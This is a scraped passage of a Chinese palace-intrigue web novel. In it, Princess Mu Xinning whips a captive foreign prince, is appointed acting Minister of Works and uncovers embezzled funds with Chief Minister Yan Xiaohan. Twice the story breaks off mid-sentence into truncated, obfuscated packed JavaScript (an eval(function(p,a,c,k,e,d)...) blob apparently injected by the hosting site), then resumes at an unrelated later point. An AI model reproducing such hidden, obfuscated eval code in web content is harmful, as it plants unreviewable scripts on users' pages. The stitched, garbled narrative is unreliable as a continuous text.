“什么正事,跟她有什么关系?” “这个先不急,咱们演一场戏,我想让你看清那女人的真面目……” 晏骁寒收回思绪,面色如常的对慕馨宁道:“没有。” 姬无忧嘴里呜呜咽咽,因为中了药的原因,一动不能动,一个完整的字都说不出来。 他好恨,恨慕馨宁,更恨重色轻友的晏骁寒。 慕馨宁又狠狠地抽了姬无忧许多鞭子,姬无忧浑身血痕。 但是,她对自己的技术很不满,只怪之前学鞭子的时候三天打鱼两天晒网。 晏骁寒见慕馨宁还要动手,一把抓住她的手腕。 慕馨宁一句话都没说,看晏骁寒的眼神里都是警告。 “他好歹是西梁皇子,死在东陵,不好交代。” “所以呢?”慕馨宁皱眉,早就猜到晏骁寒会替姬无忧求情。 可是即使这样,姬无忧并不想领晏骁寒的情,这辈子丢了这么大的人,被人扒光了吊在树上抽,还有什么脸面活下去,这件事传到西梁,岂不是会被人笑掉大牙? 罪魁祸首就是晏骁寒,他一辈子都不会原谅,他要跟晏骁寒绝交! 然后就听晏骁寒对慕馨宁道:“不如你多找他讨一些好处,他应该很有钱。” 慕馨宁冷哼一声,这话算是说到了她心坎里。 她从身上摸出一个药瓶,递到姬无忧低鼻尖,待姬无忧吸了几口之后,又将那药瓶收了起来。 “晏骁寒你……”姬无忧一开口,就要破口大骂,可是接收到晏骁寒警告目光,最后又闭了嘴。 “你个毒妇,快把本皇子给放了,否则本皇子带着西梁的铁骑踏平东陵!” 慕馨宁嘁了一声:“这话好像北赫的百里尧也说过,你知道他现在在哪里吗?” 姬无忧想到什么,当时就有些怂。 “自己掂量掂量,你这条命值多少钱,让人送到本宫府上,本宫就饶你一命。”慕馨宁双手环胸,看着狼狈不堪的姬无忧语气冷淡。 姬无忧鼻子都要气歪了:“我的命值多少钱,还未可知,但是你的命只值十万两白银!” 慕馨宁皱眉,不知姬无忧此话何意。 但是姬无忧却没有要继续说下去的打算。 慕馨宁冷哼一声,开始摆弄手里的鞭子。 姬无忧面色一变:“东陵的太后,花十万两银子,买你的命!” 慕馨宁一脸鄙夷:“真是寒酸,本宫就值十万两?估计她是穷的拿不出太多钱来吧!” “你是来给她送信的?”晏骁寒还想替姬无忧开脱。 姬无忧眼珠子转了转:“是啊,她请了罗刹门门主出手,可是罗刹门的门主根本看不上这十万两银子。” “你怎么知道这个消息的,你不会就是罗刹门的门主吧?” 被吊在树上的姬无忧感觉浑身难受的要死,他吸了口气,力气恢复后,他猛然打了个挺,整个人就坐在了树杈上。 慕馨宁面色一冷,不等姬无忧解开腿上的绳子,玄鲸一脚就将姬无忧踹了下去,重新吊了起来。 姬无忧气的七窍生烟:“慕馨宁,你就不能放了我,我们好好说话?” 慕馨宁摇头,一脸正色:“本宫问你的话你还没如实交代,再说现在我们的账还没算完。” 第185章 牢里自杀 姬无忧的拳头握的咯咯作响,最后还是服软:“罗刹门的门主是我师叔,我正巧在东陵,就接了这个任务……不过我可没想着要杀你!” 本以为这话说完,慕馨宁多少会给他个好脸,对他态度也能有所改观。 却听慕馨宁道:“捉弄本宫一顿,让本宫差点和晏骁寒反目成仇,若是这样本宫依旧会丢了性命吧?” 就算姬无忧不杀她,她为了活命出卖了晏骁寒,想必晏骁寒也不会善罢甘休的,没准也会要了她的命。 “这个,我没想那么多……”姬无忧一脸无辜。 慕馨宁懒得再跟这么蠢的人废话:“说吧,多少钱买你的命?” 姬无忧面色难看:“何必把事情做的这么绝?” 慕馨宁看了看天色,不想再跟姬无忧废话。 她转头对玄鲸道:“把人押到公主府大牢,等本宫有空,再好好跟他掰扯。” 姬无忧牙磨得咯咯作响,目光落在晏骁寒身上。 若是晏骁寒这个时候能让慕馨宁放了他,那他勉强还能继续跟晏骁寒做朋友。 谁知,晏骁寒却看向慕馨宁:“你不是打算多建一些学堂,正巧他手里有几块不错的地皮,再让他赔你三十万两银子,这件事就算了吧。” 姬无忧差点疯了:“晏骁寒,你不要太过分!” 毕竟这都快是他全部家当了。 晏骁寒目光有些冷:“那你还是去地牢?” 姬无忧恨的,牙咬的咯咯作响:“好,我答应你了!” 慕馨宁笑笑,对晏骁寒的表现很是满意。 她暧昧的靠近晏骁寒的胸膛,语气中带了几分娇嗔:“骁寒,看在你的面子上,这件事就这么算了,否则我定要将他扒的干干净净,丢到荒山上喂狼。” 说着,她的手不安分的伸进他的衣襟。 晏骁寒身子一僵,自然觉得有损他平日的威严。 他本能想要将她不安分的手抽出去,可是对上慕馨宁警告的目光,他只能任由她为所欲为。 这女人不傻,肯定猜到他故意输给姬无忧,配合姬无忧演戏,要是这女人对他一个不满意,定会新账旧账一起算的。 没想到,慕馨宁还得寸进尺,身子故意在晏骁寒身上蹭了蹭,目光挑衅的看向姬无忧。 她还捏着嗓子做作道:“骁寒,今晚就在我府上歇息吧,我想你想的心肝肺都疼呢……” 姬无忧不是瞧不上她,觉得她配不上晏骁寒,越是这样,她就要和晏骁寒更亲密才是,气死他丫的。 姬无忧看她这样,果然是气的脸都有些扭曲,胸口剧烈起伏。 即使晏骁寒感觉鸡皮疙瘩掉了一地,尊严碎了一地,他还是动作僵硬的主动揽住慕馨宁的腰:“嗯,都依你。” 姬无忧无语望苍天。 癞蛤蟆想吃天鹅肉,天鹅还不知道自己吃亏,巴巴的往癞蛤蟆跟前凑。 所以,姬无忧心血来潮的一场闹剧,最后落的颜面无存浑身是伤,丢了好几块地皮和三十万两白银。 慕馨宁原本还打算进宫给太后侍疾,最后直接折返回府,让人往宫里递了个消息,说是半路上遇见了刺客。 太后当然会怀疑慕馨宁为了不进宫所以找了个借口故技重施,但是心里还有一丝期待:“人怎么样?” 王福:“受了惊吓,晏首辅也在,已经平安回府了。” 太后气的直喘粗气。 芝嬷嬷在一旁抹眼泪:“太后,事已至此,生再多的气也是无用的,眼下还是想想易王那边该怎么办吧!” 从一个亲王被降至郡守,他们母子二人颜面何存? 太后头疼的厉害:“罗刹门那边可有消息?” “这次出面的并非罗刹门门主。”王福愁容满面的开口。 太后面色一沉:“为何?” 王福擦了擦额头上的汗,小心翼翼的开口:“他们说,让他们门主出面,最起码要五十万两白银,咱们只给十万两,只能是门派的其他人出手……” 太后气的浑身颤抖:“早知如此,还不如派我们的死士!” 她是听说罗刹门门主出手狠辣,杀人如麻,从无失手,所以才打算请他出手,免得再横生枝节,没想到竟然要五十万两! 若是其他人出手,可就未必会事成,所以她这是白白搭出去十万两。 忽然想到什么,太后猛然一惊:“今日对慕馨宁出手的,不会就是罗刹门的人吧?” 王福摇头:“应该不能,罗刹门的人应该在夜里行动。” 太后揉了揉太阳穴,叹了口气,忽然想起什么:“那个华庭绅在牢里,可还算安分?” 王福:“他之前说想见太后娘娘,老奴以您病重的理由回绝了。” 太后琢磨片刻:“去传个话,告诉他,只因他们对慕馨宁太过于轻敌,所以才害得他门落得如此下场,本宫倒是有心救他们,可是如今也是无计可施啊!” 芝嬷嬷一边替太后按摩,一边担忧的问:“那易王和华丽妍的婚事,当初可是圣旨赐婚,这……” 太后冷哼一声:“都成为阶下囚了,还想做易王妃,做梦去吧!” 况且若不是华丽妍多次挑衅慕馨宁,他们一家也未必落得一败涂地的下场。 由此可见那华丽妍也不是什么好东西,嫁给易王也是拖累。 但是退婚之事,她不好主动开口,传出去岂不是寒了其他部下的心。 可偏偏华庭绅一家也不主动退婚,难道还做着靠华丽妍跟易王的婚事能翻身的美梦? 太后眼里要说一抹狠绝:“找个时机……” 转眼就到了南阳郡主跟霍承安大婚之日。 慕馨宁只叫人去两个府上送了贺礼,并未亲自出面。 因为她知道,只要她出面,麻烦就会找上她。 况且,她跟勤王府和国公府并没有什么交情,不愉快倒是有。 她还不如在府上看看账本,去铺子上看看货,再去手工作坊看看手工制作出来的成品。 “街上在议论什么?”慕馨宁从外头回来,想起路边的百姓们三五成群交头接耳,估计是京城又有了什么流言。 鸦羽:“华丽妍在牢里自杀了。” “哦?”慕馨宁好奇的放下下手里的笔:“怎么可能自尽?” 虽然华丽妍从一个千金小姐、未来易王妃沦为阶下囚,一时间可能受不住打击,但是她也不像是那种轻易放弃生命的人。 前些日子,华丽妍在牢里还放话,说一定要她这个长公主不得好死呢。 “圣旨到……长公主接旨……” 慕馨宁眼皮一跳,这个时候,永平帝下的是什么圣旨,赐婚? 第186章 **长公主 “奉天承运,皇帝诏曰,长公主慕馨宁才德行兼备言容有责……今工部尚书一职尚有空缺,暂由长公主代理工部尚书一职,钦此!” 直到贵公公的圣旨念完,跪在地上的慕馨宁还没回过神来。 贵公公一脸复杂的看向慕馨宁:“长公主,接旨吧?” 慕馨宁起身,接过贵公公的圣旨看了一眼,确定他没念错之后,便问:“虽然前朝也有女子入朝为官的先例,可是我朝却从未有过,不知是谁举荐本宫做这工部尚书?” 慕馨宁觉得永平帝是没睡醒,要不然就是喝多了,这工部尚书让她一个长公主代理,跟儿戏有什么区别? 贵公公理了理手里的拂尘,开口道:“长公主放心,皇上封您做工部尚书一事,可是得到了很多官员支持,就连前任华尚书那也是对您一阵夸赞,想必长公主到时候定能在工部大展身手了!” 等贵公公离开,慕馨宁握着手里的圣旨,顿时感觉像是烫手的山芋。 华庭绅那个老狐狸,定是没憋什么好屁,这估计是给她挖的一个陷阱。 先别说什么陷阱不陷阱,就寅时起床,卯时上朝这一点,就能把人给折磨疯了。 这两个时辰,以往是她睡的最香的时候。 天色已亮,太阳初升,慕馨宁打着哈欠,跟一众文武百官上金銮殿早朝。 上台阶时,她一个不留神,一脚踩空,整个人朝着前头扑了过去。 她吓了一跳,还没等尖叫出声,就被人揽住了腰。 身边传来男人熟悉的声音和熟悉的味道:“看着些!” 慕馨宁看见晏骁寒那张惊为天人的俊美侧颜之后,破天荒的,没了调戏的心情。 她一脸委屈的揪住他的袖子:“为什么让我做什么工部尚书,除了吃喝玩乐,我什么也不会,你怎么也不拦着皇兄一点!” 晏骁寒语气难得柔和:“有什么麻烦都可以找我解决,你只要安心上朝就好。” 本来他也不愿让慕馨宁做这个工部尚书,但是这女人若是一清闲下来,或许又和哪个野男人纠缠不清,还不如让她忙点正事。 慕馨宁当然不知晏骁寒心中所想,她听了晏骁寒的话,心头的火气顿时散了大半,取而代之的是无尽的惆怅。 工部尚书一职,是最操心最累人的,就光从大前任工部尚书徐太尉快要掉光的头发上就能看出来。 从前她还未入朝时,就树立了那么多敌人,这下好了,她当官了,那些人更有理由报复她了。 “皇上,老臣**工部尚书不作为,南方水患已经过去数月,可是冲毁的堤坝未修,淹没的良田未治,百姓们失去亲人已经是苦不堪言,又没了田地房屋,饿死热死的人不计其数,这可都是一条条鲜活的生命啊!” 慕馨宁听了之后一阵无语,不是吧,她才第一天任职,怎么就开始**她了。 再说南方发水过去了那么久,你怎么不**前两任工部尚书,这不就是故意跟她作对? “臣附议……” “臣也附议!” 永平帝端坐在龙椅上,抬眼看向慕馨宁,板着脸沉声问道:“长公主,此事你如何解释?” 慕馨宁算是看出来了,永平帝也不是什么好东西,她一遇见什么麻烦,第一个踩她一脚的,就是这个好皇兄! 慕馨宁还没说话,晏骁寒已经开口:“皇上,修建堤坝和治理良田的款项刚拨出去,治理也需要一些时日,这件事臣会仔细盯着,定会尽快将此事办好。” 慕馨宁看了晏骁寒一眼,忽然觉得,这就是嫁一个好男人的好处吧。 有人护着她,她心里又温暖又踏实。 “皇上,晏首辅,工部的账面上从未有过这笔款项,这是不是有什么误会?” 这时,工部侍郎成大人上前,面色凝重的开口。 晏骁寒面色微沉:“当初这笔款项还是徐太尉从本官这里领走的,怎么会没到你们工部?” 前头的徐太尉听了双腿一软,连忙跪下:“皇上,晏首辅,老臣可从未领过这笔款项,老臣可以拿性命担保啊!” “领这笔款项的,是你手下的一个管事,他拿的可是你盖 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慕馨宁顿时一个头两个大:“你好好整理一下,将总账给本宫便可。” 户部侍郎:“这就是所有的总账。” 慕馨宁:“……” 她正焦头烂额,霍承安一身浅红色官服出现在慕馨宁面前,他看着慕馨宁时面露担忧:“有什么需要帮忙的,可以跟我说,我定会尽力。” 慕馨宁看他一眼,笑着道:“世子爷升官又大婚,真是双喜临门,恭喜。” 虽然慕馨宁不知霍承安现在任什么职位,但是看着他浅红色的官服就知道,如今他已经官居五品。 都说人逢喜事精神爽,可是看霍承安这面色,却有些愁眉不展的样子。 慕馨宁正纳闷这些日子霍承安经历的什么,就听霍承安一脸认真的开口:“你知道的,我根本不喜欢南阳郡主!” “那你喜欢的是谁?” 慕馨宁回头,就看见晏骁寒沉着脸走过来。 第187章 不干了 霍承安面露不满:“我喜欢谁,跟首辅大人无关。” 晏骁寒棱角分明的薄唇浮现一抹疏离的浅笑:“跟本官无关,跟长公主有关?” 霍承安脸色有些不正常,看慕馨宁时,有些欲言又止。 片刻,他将目光落在慕馨宁面前一箱子的账册上:“这些账本你若……” 晏骁寒打断:“这些账本,本官自会协同她一起处理,就不劳霍大人费心了。” 霍承安看慕馨宁,最终还是说出了口:“有什么需要,我可以帮忙,让人去传个话就好。” 说完,他转身就走。 晏骁寒嘴角的冷笑加深:“霍大人对长公主如此上心,只是不知你刚过们的发妻会如何猜想。” 霍承安脚步一顿,并未回头,随即加快脚步离开。 慕馨宁有些云里雾里,又听晏骁寒警告道:“以后,离他远一些!” 慕馨宁稀里糊涂的点头,她也觉得,自打她重生回来,霍承安很是奇怪。 毕竟上一世,霍承安是对她十分厌恶的,还曾和亲友们说,他对自己避之不及,看一眼都觉得恶心。 “怎么,在想什么?”晏骁寒顺着慕馨宁的目光,看见霍承安远去的背影,脸上仿佛能刮下一层寒霜来。 慕馨宁吸了口气,收回思绪:“没什么,走吧。” 慕馨宁不愿意去官署,直接让人将一大箱子账册带回公主府。 一本账册还没看明白,徐太尉就来了。 慕馨宁让人给徐太尉上茶,徐太尉一身冷汗,哪有心情喝茶。 “长公主要给老臣做主啊!” 慕馨宁看了看面前的徐太尉,再想想还有一大箱子未看的账册,简直是心累的一句话也不想说。 杜若犹豫了一下,才开口:“太尉大人您到底有什么事要同主子说?” 徐太尉就将那日在官署喝了一口茶睡了一整晚的事情说了。 “本来老臣以为是处理公务过于劳累才昏睡了过去,所以也没放在心上,如今想来,定是那日被人盗了印章,在国库取走了那十万两白银。” “可是现在那个领走十万两白银的管事早就辞官不见了人影,下官也无从寻人啊!” 若是慕馨宁不替他想个法子,他还是直接去皇上跟前请罪吧,免得多受这三日的折磨。 “让人画出那个管事的画像,本宫叫下面去寻人。” 徐太尉一听,皱成包子的老脸终于松缓:“下官这就去办!” 徐太尉一走,慕馨宁什么也顾不上,继续看账本。 直到她看的头都炸了,一本账还没整明白。 而且眼下还有待修建的工程需要开展,比如皇陵要修建,官道要修整、北方田地发生虫灾等等,都是紧要关头的大事。 还有洪灾过后的南方,各种大事小情一大堆。 最终,慕馨宁一气之下将桌上的所有账本全部扫在了地上。 “本宫不干了,这破差事谁爱干谁就干吧!” 晏骁寒一进门,就踩了一脚账本。 看慕馨宁像是气的炸了**的斗鸡,简直是好气又好笑。 他将地上所有的账本全部捡起,整齐摆放至桌上叹息道:“这处理国事果然是不如自己的事情尽心,你自己的商铺若是出了问题,定恨不得立即将事情处理好吧。” 这话让慕馨宁有些无地自容,因为晏骁寒说的没错,慕馨宁确实并没有把工部的事情当成自己的事来处理。 “本宫又不是男人,也不靠着工部尚书的俸禄过活,何必揽这么一摊子烂事?” 再说了,永平帝让她代理工部尚书,看起来是对她的信任,其实就是想给她添堵,不想让她太舒坦。 做好了没什么奖励,要是做的不好,又找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱财乃身外之物,可是没有钱拿什么给外婆抓药,如今外婆已经病入膏肓,他只想在最后的一段日子里好好尽孝,至少让老人家跟着他享享清福。 毕竟,要不是外婆含辛茹苦供他读书,也不会被几个舅舅扫地出门,也不会因为他的束脩,寒冬腊月用冰冷的河水为人洗衣,在烈日炎炎时为人开荒耕田,从而落得一身顽疾。 看他变脸比翻书还快,慕馨宁翻了个白眼:“好好干吧,本宫要是心情好,可以请姬神医为你年迈的外婆诊治一番,老头儿一出手,你外婆至少可以多活三年。” 他郑重的向慕馨宁行礼:“多谢长公主,下官愿意为长公主效犬马之劳!” 要说之前吴萸对慕馨宁服从是勉强,如今确是真心实意,慕馨宁能请姬神医为他外婆治病,那他心里对外婆的愧疚就会减少一大半。 否则,一想起外婆为了他受的那些罪,他这辈子怕是无法释怀。 “这东西抬走,本宫看的头疼,你整理好,有什么问题再向本宫汇报。” 吴萸痛快的让人抬着那一箱子的账册就走,打算连夜赶工,能让慕馨宁有个好心情,尽早为他外婆治病。 他已经全然忘了,昨夜还和姬无忧一起喝酒,一起将慕馨宁骂的狗血淋头。 傍晚。 鸦羽进来的时候,杜若跟杨嬷嬷正在摆饭。 “殿下,皇上对华尚书一家的发落下来了,成年男子全部流放,十三至四十岁女子充为**。” 慕馨宁沉默半天,对于这个结果,要说严重吧,至少没有人被斩首。 可是女子全部充为**,又有些不近人情。 据她所知,除了华丽妍之外,华尚书还有好几个待嫁的女儿,曾经的高高在上千金小姐,一下子沦为**,她们定然是无法接受的。 不过,各家自扫门前雪,莫管他人瓦上霜,慕馨宁可没有多余的精力去同情华尚书的几个女儿。 “工部被偷走的十万两银子有下落了。” 晏骁寒来的时候,慕馨宁已经开始埋头干饭。 “在哪里?” 慕馨宁问完,连忙让人给晏骁寒摆了碗筷,又让厨房添两道菜。 晏骁寒净手之后,坐在慕馨宁身边“跟信武侯府有关,要么是被信武侯府私吞要么就是给了太后。” 晏骁寒接过慕馨宁递过来的碗筷,看着桌上的菜色瞬间有了胃口。 慕馨宁给他夹了一筷子凉拌什锦,有些犯愁:“信武侯府和太后那边,估计是没别的法子才惦记上这十万两银子,肯定已经花的差不多了,追是追不回来的。” 晏骁寒:“证据不足,有关人证死的死,失踪的失踪,这个哑巴亏,工部怕是要吃下了。” 慕馨宁当然不会吃哑巴亏,但暂时没有还手的机会。 “易王是不是要回京了?”慕馨宁很快想到这件事。 晏骁寒尝了一口慕馨宁给他夹的菜,清爽酸甜,很合他的胃口:“你以为他会乖乖回京述职?” 慕馨宁放下筷子,有些担忧:“皇兄要褫夺他的亲王封号,降为郡守,他定会狗急跳墙的吧,皇兄就不怕闹个鱼死网破?” “信武侯和华庭绅已经不足为惧,易王和太后的助力少了两个,或许能打个平局。” 慕馨宁心情好了,如今她终于可以坐山观虎斗,没准还能得个渔翁之利。 慕馨宁正给晏骁寒夹菜,吴萸满头大汗,急匆匆的进来,看两个人还有说有笑,顿时有些没好气:“还有心情吃,要出大事了!” 慕馨宁蹙眉:“什么事?” 吴萸将好几本账册分别递给晏骁寒和慕馨宁:“前年京郊新建的堤坝偷工减料,好几万两银子不翼而飞,京城马上就是汛期,若是堤坝出事,整个京城怕是要沦为一片**,浮尸遍野!” 慕馨红脸色一变,震惊的起身:“怎么会这样?” “还有上个月,工部从国库支走五万两白银为北方兴修水利,可是北边半点动静也没有,银子也没了,这还有好几笔款项对不上,” 听吴萸这么说,慕馨宁哪还有心情吃饭,她脸色难看的重新坐下,语气中带了几分质问:“晏首辅,这么大的事情,你竟然不知情?” 吴萸当即替晏骁寒说话:“骁寒他日理万机,哪有时间只盯着工部的事?” 再说晏骁寒前年病了一场,而且那时候他只是正三品,想管工部的事情,也没有能力和资格。 听吴萸这么说,慕馨宁感觉自己有些下不来台。 她只是觉得晏骁寒无所不能,对朝堂之事了如指掌,但是她忘了,晏骁寒也只是一个普通人,没有三头六臂。 晏骁寒也没跟慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“长公主,当初您给晏首辅下聘,全部折合成银两,得有七八十万,这些钱您是从哪来的老臣不想追究,但是这十万两银子您必须得借。” “老东西,想威胁本宫?”